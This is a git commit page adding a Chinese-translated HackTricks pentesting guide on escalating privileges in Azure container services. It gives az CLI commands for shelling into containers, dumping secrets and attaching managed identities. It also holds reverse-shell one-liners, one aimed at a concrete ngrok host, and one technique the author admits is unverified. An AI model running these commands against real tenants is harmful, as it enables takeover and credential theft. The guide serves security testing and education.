mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
这些权限允许用户在运行的容器中**执行命令**。如果容器附加了任何托管身份,这可以用于**提升权限**。当然,也可以访问源代码和存储在容器内的任何其他敏感信息。
|
||||
|
||||
获取一个 shell 就像这样简单:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
也可以通过以下方式**读取容器的输出**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
或使用以下命令获取日志:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
这些权限允许**将用户管理的身份**附加到容器组。这在提升容器中的权限时非常有用。
|
||||
|
||||
要将用户管理的身份附加到容器组:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
这些权限允许**创建或更新一个容器组**,并附加一个**用户管理的身份**。这在容器中提升权限非常有用。
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
此外,还可以更新现有的容器组,例如添加 **`--command-line` 参数** 以实现反向 shell。
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
这些权限允许用户在运行的应用程序容器中 **获取 shell**。如果容器附加了任何托管身份,这可以用于 **提升权限**。当然,也可以访问源代码和存储在容器内的任何其他敏感信息。
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
此权限允许获取配置在容器应用内的**明文秘密**。请注意,秘密可以配置为明文或链接到密钥保管库(在这种情况下,应用将分配一个具有访问秘密的托管身份)。
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
这些权限允许**将用户管理的身份**附加到容器应用程序。这对于在容器中提升权限非常有用。从 az cli 执行此操作还需要权限 `Microsoft.App/containerApps/listSecrets/action`。
|
||||
|
||||
要将用户管理的身份附加到容器组:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
这些权限允许**创建或更新一个应用容器**,并附加一个**用户管理的身份**。这对于在容器中提升权限非常有用。
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> 请注意,拥有这些权限后,**应用的其他配置**可以被修改,这可能允许根据现有应用的配置执行其他特权提升和后期利用攻击。
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
尽管作业不像容器应用那样长时间运行,但您可以利用在启动执行时覆盖作业命令配置的能力。通过制作自定义作业模板(例如,将默认命令替换为反向 shell),您可以在运行作业的容器内获得 shell 访问权限。
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
如果您拥有这些权限,您可以列出 Job 容器内的所有秘密(第一个权限),然后读取配置的秘密的值。
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
如果您有权限修改作业的配置,您可以附加一个用户分配的托管身份。此身份可能具有额外的权限(例如,访问其他资源或机密),这些权限可能被滥用以在容器内提升权限。
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
如果您可以创建一个新的 Container Apps Job(或更新现有的)并附加一个托管身份,您可以设计该作业以执行提升权限的有效载荷。例如,您可以创建一个新的作业,不仅运行反向 shell,还使用托管身份的凭据请求令牌或访问其他资源。
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果您没有 `Microsoft.App/jobs/read` 权限,此命令将抛出错误,尽管作业将被创建。
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
看起来拥有这些权限应该可以启动作业。这可以用来启动一个带有反向 shell 或任何其他恶意命令的作业,而无需修改作业的配置。
|
||||
|
||||
我还没有设法让它工作,但根据允许的参数,这应该是可能的。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user